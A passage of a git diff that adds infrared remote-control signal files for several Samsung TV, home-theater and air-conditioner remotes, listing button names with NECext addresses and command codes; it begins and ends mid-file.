07 07 00 00 +command: 12 00 00 00 +# +name: pre-ch +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 20 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 21 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: source-gr +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 24 00 00 00 +# +name: ttx/mix +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: exit/tv +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: p.size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 42 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir new file mode 100644 index 000000000..231cdc303 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: dual +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: pre-ch +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: s-mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: p-size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 20 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 21 00 00 00 +# +name: position +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 22 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 24 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2F 00 00 00 +# +name: p-up +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 32 00 00 00 +# +name: p-down +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: turbo +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 64 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: ch-mgr +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: p-mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: srs +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir new file mode 100644 index 000000000..888a6088a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: KEY_SWITCHVIDEOMODE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4A 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: KEY_MEDIA +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir new file mode 100644 index 000000000..d46bd7847 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: P./STILL +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: LINE_IN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 26 00 00 00 +# +name: PRE-CH +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2A 00 00 00 +# +name: TRK- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: TRK+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 30 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 32 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 37 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: P-STD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir new file mode 100644 index 000000000..2d5e10341 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: Turbo +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: SMenu +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: SSTD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: PSTD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: PSize +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir new file mode 100644 index 000000000..32e3cb763 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: remain +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 03 00 00 00 +# +name: PLII-MODE +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 05 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 06 00 00 00 +# +name: EZ-VIEW +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 07 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 09 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 0B 00 00 00 +# +name: PLII-EFFECT +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 0C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 0D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 0E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 0F 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 11 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 13 00 00 00 +# +name: SOUND-EDIT +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 15 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 17 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 18 00 00 00 +# +name: TV-VIDEO +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 18 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 19 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 1B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 1C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 1D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 21 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 23 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 24 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 26 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 2B 00 00 00 +# +name: TUNER-MEMORY +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 2D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 2F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 33 00 00 00 +# +name: TEST-TONE +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 34 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 35 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 36 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 37 00 00 00 +# +name: LOGO +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 38 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 39 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 3B 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 3D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 3F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 41 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 43 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 46 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 47 00 00 00 +# +name: SD-HD +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 59 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 66 00 00 00 +# +name: super5.1 +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 67 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 68 00 00 00 +# +name: ASC +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 69 00 00 00 +# +name: HDMI-AUDIO +type: parsed +protocol: NECext +address: 43 53 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir new file mode 100644 index 000000000..f2f187404 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4A 00 00 00 +# +name: KEY_CONTEXT_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir new file mode 100644 index 000000000..56461675e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: TIMER +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 27 00 00 00 +# +name: SWING +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 29 00 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 31 00 00 00 +# +name: TEMP+ +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 32 00 00 00 +# +name: FAN_LOW +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 35 00 00 00 +# +name: FAN_MED +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 36 00 00 00 +# +name: FAN_HIGH +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 37 00 00 00 +# +name: FAN +type: 